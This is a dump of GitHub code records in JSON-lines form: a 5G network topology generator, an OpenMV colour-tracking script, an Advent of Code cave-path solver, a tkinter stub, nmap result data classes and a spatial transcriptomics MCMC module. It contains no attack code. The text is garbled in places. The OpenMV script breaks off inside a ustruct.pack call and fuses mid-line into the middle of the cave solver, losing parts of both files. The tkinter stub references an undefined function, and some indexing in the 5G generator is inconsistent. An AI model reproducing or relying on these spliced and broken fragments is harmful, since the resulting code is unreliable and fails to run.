\"))\nforRangeMax = int(input(\"Döngünün üst limitini belirleyiniz: \"))\nfor i in range(forRangeMin, forRangeMax+1):\n if i % 2 == 0:\n print(i)\n\n##end","repo_name":"halit-kalayci-instruction/etiya-6-python","sub_path":"workshop-3.py","file_name":"workshop-3.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"tr","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"34339754903","text":"import numpy as np\nfrom scipy.stats import norm\nimport copy\nfrom scipy.cluster.vq import kmeans2, whiten\nfrom cell_load_model import aggregate_mux\nimport networkx as nx\nimport pickle\n\n# Algorithm configuration\nconfig = {\n 'high_density': 0.6, # Ratio of population living in highly dense urban\n 'urban': 0.39, # Ratio of population living in regular urban area\n 'rural': 0.01, # Ratio of population living in rural area\n 'pdf_width': 5, # Std dev of population density function\n 'isd_high': 0.2, # 200m high density ISD, per 3GPP\n 'isd_urban': 0.5,\n 'isd_rural': 1.7,\n 'ue_density_high': 2500, # UEs per km2 in dense areas\n 'ue_density_med': 400, # urban areas\n 'ue_density_low': 100, # rural areas\n 'prob_disagg_high': 0.8, # 80% of RUs in dense areas will be disaggregated\n 'prob_disagg_urban': 0.3,\n 'prob_disagg_rural': 0.05,\n 'rate_fx_peak': 25000, # In Mbps\n 'rate_f1_peak': 6000, # In Mbps\n 'rate_ngc_peak': 6000, # In Mbps\n}\n\ndef get_latency(dist):\n \"\"\"Transport latency through single link\"\"\"\n return dist/300000\n\ndef get_distance(a, b):\n \"\"\"Computes the distance between two coordinates, provided as (x,y) tuples\"\"\"\n return np.sqrt((a[0]-b[0])**2+\n (a[1]-b[1])**2)\n\ndef median_cut(matrix, axis):\n \"\"\"\n Find a cut through the matrix that will split the mass as close to half as\n possible.\n Parameters:\n matrix -- matrix containing zero and non-zero values\n axis -- 0 for row, 1 for column\n Returns: index of cut\n \"\"\"\n idx = int(matrix.shape[axis]/2)\n if axis == 0:\n abs_diff = abs(np.count_nonzero(matrix[:idx,]) - np.count_nonzero(matrix[idx:,]))\n elif axis == 1:\n abs_diff = abs(np.count_nonzero(matrix[:,:idx]) - np.count_nonzero(matrix[1,idx:]))\n # Try to reduce the difference increasing the index\n while idx < len(matrix):\n idx += 1\n if axis == 0:\n new_diff = abs(np.count_nonzero(matrix[:idx,]) - np.count_nonzero(matrix[idx:,]))\n elif axis == 1:\n new_diff = abs(np.count_nonzero(matrix[:,:idx]) - np.count_nonzero(matrix[:,idx:]))\n if new_diff > abs_diff:\n idx -= 1\n break\n else:\n abs_diff = new_diff\n # Try to reduce the difference decreasing the index\n while idx > 0:\n idx -= 1\n if axis == 0:\n new_diff = abs(np.count_nonzero(matrix[:idx,]) - np.count_nonzero(matrix[idx:,]))\n elif axis == 1:\n new_diff = abs(np.count_nonzero(matrix[:,:idx]) - np.count_nonzero(matrix[:,idx:]))\n if new_diff > abs_diff:\n idx += 1\n break\n else:\n abs_diff = new_diff\n return idx\n\ndef partition_matrix(matrix, top, right, bot, left, target_mass, min_mass):\n \"\"\"\n Partitions the matrix recursively into smaller areas until their mass is less\n than the target mass\n \"\"\"\n matrix_mass = np.count_nonzero(matrix)\n if matrix_mass >= min_mass/2 and matrix_mass < min_mass:\n return [(top, right, bot, left)]\n if matrix_mass < min_mass/2:\n return []\n r, c = matrix.shape\n if r >= c:\n cut_idx = median_cut(matrix, 0)\n top_mass = np.count_nonzero(matrix[:cut_idx,])\n bot_mass = np.count_nonzero(matrix[cut_idx:,])\n #\n top_cuts = partition_matrix(matrix[:cut_idx,], top, right, top+cut_idx, left, target_mass, min_mass)\n bot_cuts = partition_matrix(matrix[cut_idx:,], top+cut_idx, right, bot, left, target_mass, min_mass)\n #return [(cut_idx,0,top,right,left,bot)] + top_cuts + bot_cuts\n return top_cuts + bot_cuts\n else:\n cut_idx = median_cut(matrix, 1)\n top_cuts = partition_matrix(matrix[:,:cut_idx], top, right, bot, right+cut_idx, target_mass, min_mass)\n bot_cuts = partition_matrix(matrix[:,cut_idx:], top, right+cut_idx, bot, left, target_mass, min_mass)\n #return [(cut_idx,1,right,top,bot,left)] + top_cuts + bot_cuts\n return top_cuts + bot_cuts\n\nclass RU():\n \"\"\"Represents a Radio Unit\"\"\"\n def __init__(self, coord):\n x, y = coord\n self.id = 'ru'+str(np.random.randint(0,100000))\n self.x = x\n self.y = y\n self.inbound_traffic = None\n\n def __repr__(self):\n return \"({0.x},{0.y})\".format(self)\n\nclass FCP():\n \"\"\"Represents a Fibre Connection Point\"\"\"\n def __init__(self):\n self.id = 'fcp'+str(np.random.randint(0,100000))\n self.in_rate = None\n self.out_rate = None\n self.coords = None\n self.compute_cores = 0\n self.compute_storage = 0\n self.next_hop_latency = None # Distance to the next hop towards RAN\n\n def graph_attributes(self):\n return {'type': 'fcp',\n 'cores': self.compute_cores,\n 'storage': self.compute_storage,\n 'traffic': (self.in_rate, self.out_rate)}\n\nclass AccessFCP(FCP):\n \"\"\"Fibre Connection Point used in the access ring. Aggregates RUs.\"\"\"\n def __init__(self, type):\n super().__init__()\n self.rus = []\n self.type = type # 1 for NG 2 for Fx\n self.next_hop_latency = get_latency(6.5)\n\n def graph_attributes(self):\n return {'type': 'sap',\n 'tas': [ru.id for ru in self.rus],\n 'traffic': (self.in_rate, self.out_rate)}\n\n\nclass EdgeFCP(FCP):\n \"\"\"Fibre Connection Point used in the edge ring. Aggregates access rings.\"\"\"\n def __init__(self):\n super().__init__()\n self.ring = None\n self.num_rus = None\n self.next_hop_latency = get_latency(5)\n\nclass CoreFCP(FCP):\n \"\"\"Fibre Connection Point used in the core ring. Aggregates edge rings.\"\"\"\n def __init__(self):\n super().__init__()\n self.ring = None\n self.num_rus = None\n self.next_hop_latency = get_latency(50)\n\nclass POP():\n \"\"\"Point of Presence hosting compute resources.\"\"\"\n def __init__(self):\n self.id = 'pop'+str(np.random.randint(0,100000))\n self.fcps = []\n self.in_rate = None\n self.compute_cores = 0\n self.compute_gpus = 0\n self.compute_storage = 0\n self.nfs = None # Network Functions\n\n def graph_attributes(self):\n return {'type': 'pop',\n 'cores': self.compute_cores,\n 'storage': self.compute_storage,\n 'gpus': self.compute_gpus,\n 'traffic': self.in_rate}\n\nclass Ring():\n \"\"\"Transport network ring, connects set of PoPs\"\"\"\n def __init__(self):\n self.fcps = []\n self.pops = []\n self.num_rus = None\n self.pop2pop_latency = None\n self.pop2fcp_latency = None\n # Capacity is allocated for 100% of Fx + 95% of all NG\n self.capacity = None\n\nclass NwkInfrastructure():\n \"\"\"Store the components of the 5G infrastructure\"\"\"\n def __init__(self):\n self.ru_cells = None\n # Access\n self.access_fcps = [] # aggregated RUs, type (2:disagg; 1:agg), input rate, output rate, coords\n self.access_pops = [] # FCPs, compute power, NFs\n self.access_rings = [] # FCPs, PoPs, capacity\n # Edge\n self.edge_fcps = [] # aggregated access rings, input rate, output rate, coords\n self.edge_pops = [] # FCPs, compute power, NFs\n self.edge_rings = [] # FCPs, PoPs, capacity\n # Core\n self.core_fcps = []\n self.core_ring = None\n\n def _add_fcp(self, fcp, g):\n \"\"\"Add an fcp and the ring or RUs connected to the fcp.\"\"\"\n # g.add_node(fcp.id, **fcp.graph_attributes())\n if isinstance(fcp, AccessFCP):\n g.add_node(fcp.id, **fcp.graph_attributes())\n return fcp\n else:\n # Add the ring attached to the fcp\n return self._add_ring_to_graph(fcp.ring, g)\n #g.add_edge(next_pop.id, parent_pop.id,\n # **{'capacity': fcp.in_rate, 'latency':fcp.next_hop_latency})\n\n def _add_ring_to_graph(self, ring, g):\n # Add first pop in ring\n g.add_node(ring.pops[0].id, **ring.pops[0].graph_attributes())\n # Add fcps\n for f in ring.pops[0].fcps:\n next_pop = self._add_fcp(f, g)\n g.add_edge(ring.pops[0].id, next_pop.id,\n **{'capacity': f.out_rate,\n 'latency':ring.pop2fcp_latency+f.next_hop_latency})\n if len(ring.pops) == 1: return\n # Add the rest of the pops\n for p1, p2 in zip(ring.pops[:-1], ring.pops[1:]):\n # Add nodes with their attributes\n g.add_node(p2.id, **p2.graph_attributes())\n g.add_edge(p1.id, p2.id, **{'capacity': ring.capacity, 'latency':ring.pop2pop_latency})\n # Add fcps\n for f in p2.fcps:\n next_pop = self._add_fcp(f, g)\n g.add_edge(p2.id, next_pop.id,\n **{'capacity': f.out_rate,\n 'latency':ring.pop2fcp_latency+f.next_hop_latency})\n # Complete the ring\n g.add_edge(ring.pops[-1].id, ring.pops[0].id,\n **{'capacity': ring.capacity, 'latency':ring.pop2pop_latency})\n return ring.pops[0]\n\n def generate_nx_graph(self):\n \"\"\"Represent the infrastructure as a NetworkX graph\"\"\"\n g = nx.Graph()\n self._add_ring_to_graph(self.core_ring, g)\n return g\n\nclass NetworkGenerator():\n\n def __init__(self, area_width, area_cell_width=0.1, population_centres=2,\n aggregate_mux_lookup=None):\n \"\"\"\n Create a 5G infrastructure generator.\n\n Parameters:\n\n area_width -- the width of the square area, in kms\n area_cell_width -- the area is broken in small cells (in kms)\n population_centres -- number of population centres --> # of PDFs deployed\n aggregate_mux_lookup-- pickle file object containing lookup table for aggregation.\n \"\"\"\n # Define the area as a matrix of cells of configured width\n self.row_cells = int(np.ceil(area_width/area_cell_width))\n # Need to round up to next square\n self.num_cells = int(self.row_cells**2)\n area_cells = np.array(range(self.num_cells))\n self.area_cells = area_cells.reshape(self.row_cells, self.row_cells)\n self.area_cell_width = area_cell_width\n # List of populations deployed\n self.populations = []\n # Population density in each cell\n self.population_density = np.zeros_like(self.area_cells, dtype=np.float64)\n if aggregate_mux_lookup is None:\n try:\n aggregate_mux_lookup = open('aggregate_mux_lookup', 'rb')\n except IOError:\n print(\"Aggregate mux lookup not ready yet.\")\n return\n self.aggregate_mux_lookup = pickle.load(aggregate_mux_lookup)\n\n def dist_from_pdf_centre(self, pdf_centre):\n \"\"\"\n Returns the distance (kms) from x,y to the PDF centre.\n\n Parameters:\n\n pdf_centre -- (x,y) coordinates.\n \"\"\"\n cell_col = self.area_cells % np.sqrt(self.num_cells)\n cell_row = self.area_cells // np.sqrt(self.num_cells)\n cell_x = 0.5*(2*cell_col+1)*self.area_cell_width\n cell_y = 0.5*(2*cell_row+1)*self.area_cell_width\n c_x, c_y = pdf_centre\n return np.sqrt((c_x-cell_x)**2 + (c_y-cell_y)**2)\n\n def add_population(self, centre=False):\n \"\"\"\n Add a population distribution over the deployment area.\n The population is a 2D normal distribution with standard deviation (pdf_width)\n expressed in kms, and zero mean.\n \"\"\"\n if not centre:\n centre = (np.random.randint(0,self.row_cells*self.area_cell_width),\n np.random.randint(0,self.row_cells*self.area_cell_width))\n # Compute the PDF for each cell, based on its distance from the centre\n pdfs = norm.pdf(self.dist_from_pdf_centre(centre), 0, config['pdf_width'])\n self.population_density += pdfs\n\n def discretise_population(self):\n \"\"\"\n For each cell of the deployment area the population density will be estimated\n and classified as high (urban), common (suburban), and rural.\n\n Returns:\n\n matrix with each cell containing its index\n matrix with each cell containing the population density\n \"\"\"\n # Compute the thresholds for population density, based on Quantile function\n # --> P(population density > Threshold) is CDF(x) = Threshold\n # --> we want the threshold so CDF-1(x) which is quantile function\n ppf_high = norm.ppf(config['high_density'], 0, config['pdf_width'])\n ppf_urban = abs(norm.ppf(config['high_density'] + config['urban'],\n 0, config['pdf_width']))\n # Then convert those values into PDFs\n thresh_high = norm.pdf(ppf_high, 0, config['pdf_width'])\n thresh_urban = norm.pdf(ppf_urban, 0, config['pdf_width'])\n # Discretize the PDF based on the thresholds\n pdfs = np.zeros_like(self.area_cells, dtype=np.float64)\n pdfs += self.population_density\n pdfs[pdfs >= thresh_high] = 3\n pdfs[(pdfs >= thresh_urban) & (pdfs < 1)] = 2\n pdfs[pdfs < thresh_urban] = 1\n self.population_density = pdfs\n\n def _deploy_rus(self):\n \"\"\"\n Deploys RUs based on the ISD defined in the configuration.\n Returns a matrix of same shape as area cells where each element represents\n an area cell and is 1 if an RU is deployed, otherwise 0.\n \"\"\"\n ru_cells = np.zeros_like(self.area_cells)\n # Deploy in cells >= rural with rural ISD\n isd_rural_cells = int(config['isd_rural']/self.area_cell_width)\n ru_cells[0:len(self.area_cells):isd_rural_cells,\n np.arange(0,len(self.area_cells), isd_rural_cells),] = 1\n # Clear the urban areas and higher\n ru_cells[self.population_density >= 2] = 0\n # Deploy\n isd_urban_cells = int(config['isd_urban']/self.area_cell_width)\n tmp_urban_base = self.population_density >= 2\n tmp_urban_cells = np.zeros_like(self.area_cells)\n tmp_urban_cells[0:len(self.area_cells):isd_urban_cells,\n np.arange(0, len(self.area_cells), isd_urban_cells)] = 1\n ru_cells[np.array((tmp_urban_base & tmp_urban_cells), dtype=np.bool)] = 1\n # Clear the high density areas\n ru_cells[self.population_density == 3] = 0\n # Deploy\n isd_high_cells = int(config['isd_high']/self.area_cell_width)\n tmp_high_base = self.population_density == 3\n tmp_high_cells = np.zeros_like(self.area_cells)\n tmp_high_cells[0:len(self.area_cells):isd_high_cells,\n np.arange(0, len(self.area_cells), isd_high_cells)] = 1\n ru_cells[np.array((tmp_high_base & tmp_high_cells), dtype=np.bool)] = 1\n return ru_cells\n\n def generate_5g_infra(self, random_seed):\n # RNG\n rng = np.random.default_rng(random_seed)\n # Store the infrastructure elements\n infra = NwkInfrastructure()\n infra.ru_cells = self._deploy_rus()\n pdfs = self.population_density\n #------------------\n # First step is to group the RUs into access FCPs\n isd = {1:config['isd_rural'], 2:config['isd_urban'], 3:config['isd_high']}\n prob_disag = {1:config['prob_disagg_rural'],\n 2:config['prob_disagg_urban'],\n 3:config['prob_disagg_high']}\n for density in [1,2,3]:\n # Make a copy of the RU matrix\n tmp = copy.deepcopy(infra.ru_cells)\n # Discard RUs from other density zones\n tmp[pdfs != density] = 0\n # Partition the resulting RUs into groups of at least 24 and at most 48\n partitions = partition_matrix(tmp, 0,0,*tmp.shape, 36, 48)\n # Each partition will result in an access ring\n for t,r,b,l in partitions:\n fcp_type = 2 if rng.random() < prob_disag[density] else 1\n fcp = AccessFCP(fcp_type)\n # TODO Should have provision in case the number of RUs is too low to aggregate\n num_rus = np.count_nonzero(tmp[t:b, r:l])\n # Get the coordinates of the RUs\n fcp.rus = list(map(RU, np.argwhere(tmp[t:b, r:l]) + [t,r]))\n if fcp_type == 2:\n # For disaggregated, this is Fx interface\n fcp.in_rate = config['rate_fx_peak']\n fcp.out_rate = num_rus * fcp.in_rate\n elif fcp_type == 1:\n # For aggregated RAN, this is F1 or NGC and we can apply mux gain\n fcp.in_rate = config['rate_ngc_peak']\n fcp.out_rate = aggregate_mux(num_rus, None, self.aggregate_mux_lookup)\n # For half of these FCPs we allocate 100 threads\n fcp.compute_threads = 100 if rng.random() >= 0.5 else 0\n fcp.coords = (np.mean([r.x for r in fcp.rus]), np.mean([r.y for r in fcp.rus]))\n infra.access_fcps.append(fcp)\n #------------------\n # Group the access FCPs into access rings and allocate PoPs\n # Sort all the access fcps lexicographically (first X, then Y coords)\n tmp = copy.deepcopy(infra.access_fcps)\n tmp.sort(key=lambda f: f.coords[0])\n while len(tmp) > 0:\n fcp = tmp[0] # This is the reference\n tmp = tmp[1:]\n # Sort the rest of the fcps in order of their distance from the reference\n ring = Ring()\n closest_fcps = sorted(tmp, key=lambda x: get_distance(fcp.coords,x.coords))\n ring.fcps = [fcp]+closest_fcps[:15]\n # Determine required capacity for the access ring\n # This will be 100% of Fx RUs + 95% of cumulated NG RUs\n num_fx_rus = 0\n num_ng_rus = 0\n for f in ring.fcps:\n if f.type == 2: num_fx_rus += len(f.rus)\n elif f.type == 1: num_ng_rus += len(f.rus)\n ring.capacity = num_fx_rus*config['rate_fx_peak'] \\\n + aggregate_mux(num_ng_rus, None, self.aggregate_mux_lookup)\n ring.num_rus = num_fx_rus + num_ng_rus\n # Allocate 4 PoPs with compute\n ring.pops = [POP() for i in range(4)]\n fcps_per_pop = int(np.ceil(len(ring.fcps)/len(ring.pops)))\n for idx,p in enumerate(ring.pops):\n p.fcps = ring.fcps[idx*fcps_per_pop:min(len(ring.fcps),(idx+1)*fcps_per_pop)]\n p.compute_cores = 400 if rng.random() >= 0.5 else 0\n p.compute_gpus = 20 if rng.random() >= 0.5 else 0\n # One of the PoPs will host the primary video cache of 25TB\n rng.choice(ring.pops).compute_storage = 25000\n # Remove the fcps from the list\n for f in closest_fcps[:15]:\n tmp.remove(f)\n # Set the latency measures for the ring\n ring.pop2fcp_latency = get_latency(5)\n ring.pop2pop_latency = get_latency(8)\n infra.access_rings.append(ring)\n #------------------\n # Create the Edge FCPs\n for ar in infra.access_rings:\n ar_centre_x = sum(f.coords[0] for f in ar.fcps)/len(ar.fcps)\n ar_centre_y = sum(f.coords[1] for f in ar.fcps)/len(ar.fcps)\n fcp = EdgeFCP()\n fcp.ring = ar\n fcp.coords = (ar_centre_x, ar_centre_y)\n fcp.num_rus = ar.num_rus\n # The output rate of the FCP can take into account statistical muxing because\n # the DUs are in the access ring\n fcp.out_rate = aggregate_mux(fcp.num_rus, None, self.aggregate_mux_lookup)\n infra.edge_fcps.append(fcp)\n # Join the edge FCPs into edge rings\n fcps_per_edge_ring = 5\n if len(infra.edge_fcps) % fcps_per_edge_ring == 0:\n num_edge_rings = len(infra.edge_fcps)/fcps_per_edge_ring\n else:\n num_edge_rings = int(np.ceil(len(infra.edge_fcps)/fcps_per_edge_ring))\n fcps_per_edge_ring = int(np.ceil(len(infra.edge_fcps)/num_edge_rings))\n # Use k-means clustering to find the coordinates of the CoreFCPs.\n # They will determine which edge FCPs form edge rings\n whitened = [fcp.coords for fcp in infra.edge_fcps]\n centroids, _ = kmeans2(whitened, num_edge_rings)\n # Each centroid is connected to the closest edge fcps\n rem = len(infra.edge_fcps)\n for ring_centre in centroids:\n to_add = min(rem, fcps_per_edge_ring)\n # find the FCPs that are connected in this ring\n fcps = sorted(infra.edge_fcps,\n key=lambda x: get_distance(ring_centre, x.coords))[:to_add]\n edge_ring = Ring()\n edge_ring.fcps = fcps\n rem -= to_add\n edge_ring.num_rus = sum(f.num_rus for f in fcps)\n edge_ring.capacity = aggregate_mux(min(1991, edge_ring.num_rus), None,\n self.aggregate_mux_lookup)\n infra.edge_rings.append(edge_ring)\n # One of the edge PoPs will have 1000 threads and 100TB\n edge_ring.pops = [POP(), POP()]\n edge_ring.pops[0].fcps = edge_ring.fcps[:3]\n edge_ring.pops[1].fcps = edge_ring.fcps[3:]\n # Set latency measures for the edge ring\n edge_ring.pop2fcp_latency = get_latency(20)\n edge_ring.pop2pop_latency = get_latency(30)\n p = rng.choice(edge_ring.pops)\n p.compute_cores = 1000\n p.compute_storage = 100000\n # Use the ring_centre as the core FCP\n core_fcp = CoreFCP()\n core_fcp.ring = edge_ring\n core_fcp.in_rate = ring.capacity\n core_fcp.out_rate = ring.capacity\n core_fcp.num_rus = edge_ring.num_rus\n core_fcp.coords = ring_centre\n infra.core_fcps.append(core_fcp)\n # Finally create the core ring\n infra.core_ring = Ring()\n infra.core_ring.fcps = infra.core_fcps\n infra.core_ring.num_rus = sum(f.num_rus for f in infra.core_fcps)\n infra.core_ring.capacity = aggregate_mux(min(1991, edge_ring.num_rus), None,\n self.aggregate_mux_lookup)\n infra.core_ring.pop2fcp_latency = get_latency(100)\n infra.core_ring.pop2pop_latency = get_latency(300)\n # Allocate PoPs in the core\n per_core = 5000 # in Mbps \n core_dc = POP()\n core_dc.compute_cores = np.ceil(infra.core_ring.capacity / per_core)\n infra.core_ring.pops = [core_dc]\n core_dc.fcps = infra.core_ring.fcps\n return infra\n","repo_name":"victorcionca/5gslicing","sub_path":"network_generator.py","file_name":"network_generator.py","file_ext":"py","file_size_in_byte":20775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73122317808","text":"# Untitled - By: 86188 - 周二 5月 25 2021\r\n\r\nimport sensor, image, time,pyb\r\nfrom pyb import UART,LED\r\nimport json\r\nimport ustruct\r\n\r\n\r\n\r\n\r\n#white_threshold_01 = ((95, 100, -18, 3, -8, 4)); #白色阈值\r\nred_threshold_01 = ((2, 51, 11, 127, -128, 127)) #红色阈值\r\n\r\nLED_R = pyb.LED(1) # Red LED = 1, Green LED = 2, Blue LED = 3, IR LEDs = 4.\r\nLED_G = pyb.LED(2)\r\nLED_B = pyb.LED(3)\r\n\r\nLED_R.on()\r\nLED_G.on()\r\nLED_B.on()\r\n\r\n\r\n\r\nsensor.reset()\r\nsensor.set_pixformat(sensor.RGB565)\r\nsensor.set_framesize(sensor.QVGA)\r\nsensor.skip_frames(time = 2000)\r\nsensor.set_auto_gain(False) # must be turned off for color tracking\r\nsensor.set_auto_whitebal(False) # must be turned off for color tracking\r\n\r\n\r\nclock = time.clock()\r\n\r\nLED_R.off()\r\nLED_G.off()\r\nLED_B.off()\r\n\r\nuart = UART(3,115200) #定义串口3变量\r\nuart.init(115200, bits=8, parity=None, stop=1) # init with given parameters\r\n\r\n\r\n\r\ndef find_max(blobs): #定义寻找色块面积最大的函数\r\n max_size=0\r\n for blob in blobs:\r\n if blob.pixels() > max_size:\r\n max_blob=blob\r\n max_size = blob.pixels()\r\n return max_blob\r\n\r\n\r\ndef send_data_packet(x,y,z,w):\r\n temp = ustruct.pack(\" list[list]:\n return self.progress_path(['start'], valid_path)\n\n def progress_path(self, path: list, valid_path) -> list[list]:\n current = path[-1]\n adjacent = self.cave_dict[current]\n possible_paths = [path + [adj] for adj in adjacent]\n\n valid_paths = [p for p in possible_paths if valid_path(p)]\n complete_paths = [path for path in valid_paths if path[-1] == 'end']\n\n extended_paths = [self.progress_path(p, valid_path) for p in valid_paths if p not in complete_paths]\n return complete_paths + flatten(extended_paths)\n\n\ndef valid_path_a(path: list[str]):\n counter = Counter(path)\n return not any(k.islower() and v > 1 for k, v in counter.items())\n\n\ndef valid_path_b(path: list[str]):\n counter = Counter(path)\n small_caves_visited = [v for k, v in counter.items() if k.islower() and v > 1]\n\n if len(small_caves_visited) == 0:\n return True\n elif len(small_caves_visited) == 1 and small_caves_visited[0] == 2 and counter['start'] == 1:\n return True\n else:\n return False\n\n\ncaves = Caves(data)\nprint(\"part 1\", len(caves.paths(valid_path_a)))\nprint(\"part 2\", len(caves.paths(valid_path_b)))\n","repo_name":"lukestead919/AdventOfCode","sub_path":"src/aoc/aoc2021/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"12916024627","text":"import cv2 as cv\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter.messagebox import showinfo\n\n\nfilepath = 'data//lenna.jpg'\ncontimage = cv.imread(filepath,cv.IMREAD_COLOR)\n\n\nwindow = tk.Tk()\nwindow.geometry(\"400x200\")\n\ninput_frame = ttk.Frame(window)\ninput_frame.pack(padx=10,pady=10,fill='x',expand=True)\n\n# BUTTON\noriginalPic = tk.StringVar()\n# VARIABL\n \n \n\nbutton_comp = ttk.Button(input_frame,text=\"Original Lenna\",command=click_button)\nbutton_comp.pack(fill='x',expand=True,padx=10,pady=10)\n\nwindow.mainloop()\n","repo_name":"Farhanugraha/Imageprocessing","sub_path":"tkinter/digitaltask.py","file_name":"digitaltask.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21896767161","text":"class Host_Details:\n\tdef __init__(self, hostname, host_os):\n\t\tself.hostname = hostname\n\t\tself.host_os = host_os\n\t\tself.scan_information = []\n\t\t\nclass Scan_Information:\n\tdef __init__(self, protocol, port, state, service, product, version, extra_info, tunnel):\n\t\tself.protocol = protocol\n\t\tself.port = port\n\t\tself.state = state\n\t\tself.service = service\n\t\tself.product = product\n\t\tself.version = version\n\t\tself.extra_info = extra_info\n\t\tself.tunnel = tunnel\n\t\tself.script_info = []\n\t\t\nclass Script_Information:\n\tdef __init__(self, script_name, script_output):\n\t\tself.script_name = script_name\n\t\tself.script_output = script_output\n","repo_name":"zflemingg1/Colourful-Nmap","sub_path":"nmap_classes.py","file_name":"nmap_classes.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"36576621715","text":"import scipy\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import gamma, wishart, multivariate_normal, norm\nimport random\n\nfrom utils.tests import *\n\ndef initialize_structures(adata, marker_genes, struct_key='struct', p_thresh=0.1):\n \"\"\"\n The purpose of this function is to run a Fisher test to determine the prior location of\n the structure of interest through a Fisher Test. The following are inputs:\n 1. adata: the annData object that holds the spatial transcriptomics sample\n 2. marker_genes: a list of marker genes for the structure of interest\n 3. struct_key: the key under which the label of each spot is stored in the adata object\n 4. p_thresh: the threshold probability for whether a spot is marked as part of the structure\n from the Fisher test\n\n The following are returned:\n adata: the original annData object but annotated at each spot for whether it belongs to the structure\n or not\n \"\"\"\n # Start by calculating z-scores of each spot regarding the genes expressed\n if scipy.sparse.issparse(adata.X):\n mat = pd.DataFrame.sparse.from_spmatrix(adata.X)\n else:\n mat = pd.DataFrame(adata.X)\n\n z_scores = scipy.stats.zscore(mat, axis=0)\n z_scores = np.where(np.isnan(z_scores), 0, z_scores)\n z_scores = pd.DataFrame(z_scores, index=adata.obs_names, columns=adata.var_names)\n\n # Prepare for the Fisher test\n gene_universe = list(adata.var_names)\n is_struct = []\n\n for i in range(len(adata.obs_names)):\n spot_genes = list(z_scores.iloc[i, :].sort_values(ascending=False)[0:100].index)\n _, p = FisherTest(spot_genes, marker_genes, gene_universe)\n if p < p_thresh:\n is_struct.append(1)\n else:\n is_struct.append(0)\n\n for i in range(len(is_struct)):\n is_struct[i] = str(is_struct[i])\n adata.obs[struct_key] = pd.Series(is_struct, dtype=\"category\", copy=False)\n for i in range(len(adata.obs.follicle)):\n adata.obs[struct_key][i] = is_struct[i]\n\n return adata\n\n\ndef buildNeighborDict(adata, max_radius=6):\n \"\"\" \n This function builds a neighbor dictionary for each spot that tells which other spots are directly\n adjacent to it. This is under the assumption that are working with Visium 10x datasets. \n\n Inputs:\n 1. adata: the annData object we are building the neighbor dictionary for\n 2. max_radius: the radius under which we consider another spot a neighbor\n\n Output:\n neighbors: a dictionary object that takes in as key the label of a spot in the adata object and returns\n a list of other spots that are neighbors\n \"\"\"\n\n # Begin by calculating a distance matrix\n spots = adata.obsm['spatial']\n dists_mat = scipy.spatial.distance.cdist(spots, spots)\n dists_mat = pd.DataFrame(dists_mat, index=adata.obs.index, columns=adata.obs.index)\n spots = pd.DataFrame(spots, index=adata.obs.index)\n\n # Initialize dictionary and sort through spots that are within the radius\n neighbors = {}\n for i, spot in enumerate(list(adata.obs.index)):\n sorted_vals = dists_mat.iloc[i, :].sort_values()\n sorted_vals = sorted_vals[sorted_vals > 0]\n sorted_vals = sorted_vals[sorted_vals < max_radius]\n spot_neighbors = list(sorted_vals.index)\n neighbors[spot] = spot_neighbors\n return neighbors\n\n\ndef PottsPrior(spot, adata, neighbors, struct_key='struct'):\n \"\"\"\n This function calculates the Potts prior for each spot according to the structure labels\n and the neighbors. This is specifically for Visium datasets. \n\n Inputs:\n 1. spot: a string which represents the barcode for the spot we are calculating the prior for in \n the adata object\n 2. adata: an annData object that contains the labels for each spot being within the structure\n 3. neighbors: a dictionary object that takes in as a key the spot of interest and returns a list \n of other spots that are neighbors\n 4. struct_key: a key that serves as the column name in adata.obs that tells whether spots belong to\n the structure or not\n \"\"\"\n spot_neighbors = neighbors[spot]\n sum_val = 0\n\n # Loop through neighbors and determine contribution to sum\n for n_spot in spot_neighbors:\n if adata.obs[struct_key][spot] == adata.obs[struct_key][n_spot]:\n sum_val += 1\n return np.exp(3/len(spot_neighbors)*2*sum_val)\n\n\ndef returnTotalProduct(adata, flip_spot, mu_struct, mu_non_struct, lambda_mat, key):\n \"\"\"\n This function returns the total product required for the MCMC procedure to determine whether a spot\n should be flipped in its label. \n\n Inputs: \n 1. adata: the annData object that contains the spot labels\n 2. flip_spot: the spot that is potentially going to have its label flipped\n 3. mu_struct: the mean expression of the markers within the structure\n 4. mu_non_struct: the mean expression of the markers outside of the structure\n 5. lambda_mat: the matrix that describes the covariance between spots in and out of the structure\n 6. key: the key for the labels in adata.obs\n\n Outputs:\n np.min((total_product, 1)): the acceptance probability for the potential flip\n \"\"\"\n\n # Use a multivariate normal distribution to calculate the likelihoods of being in or out of the structure\n l1 = multivariate_normal.pdf(adata.obs.loc[flip_spot][['score not-struct', 'score struct']].to_numpy(), mu_struct, cov=np.linalg.inv(lambda_mat))\n l0 = multivariate_normal.pdf(adata.obs.loc[flip_spot][['score not-struct', 'score struct']].to_numpy(), mu_non_struct, cov=np.linalg.inv(lambda_mat))\n\n old_vals = adata.copy()\n\n # Calculate the total product when evaluating for the Potts Prior\n if adata.obs[key][flip_spot] == '1':\n # flipping struct to not struct\n likelihood_ratio = l0 / l1\n adata.obs[key][flip_spot] = '0'\n prior_ratio = PottsPrior(flip_spot, adata, adata.uns['neighbors']) / PottsPrior(flip_spot, old_vals, adata.uns['neighbors'])\n total_product = likelihood_ratio * prior_ratio\n else:\n # flipping not struct to struct\n likelihood_ratio = l1 / l0\n adata.obs[key][flip_spot] = '1'\n prior_ratio = PottsPrior(flip_spot, adata, adata.uns['neighbors']) / PottsPrior(flip_spot, old_vals, adata.uns['neighbors'])\n total_product = likelihood_ratio * prior_ratio\n\n # Return the acceptance probability\n return np.min((total_product, 1))\n\n\ndef GibbsUpdate(dim_reduction, labels, beta, n, alpha, d):\n \"\"\"\n This function does Gibbs sampling to return the new parameters for the next step in MCMC\n\n Inputs:\n 1. dim_reduction: a dataFrame that contains the signature gene expressions across each spot\n 2. labels: the labels of each spot\n 3. beta: the scaling value for the covariance update\n 4. 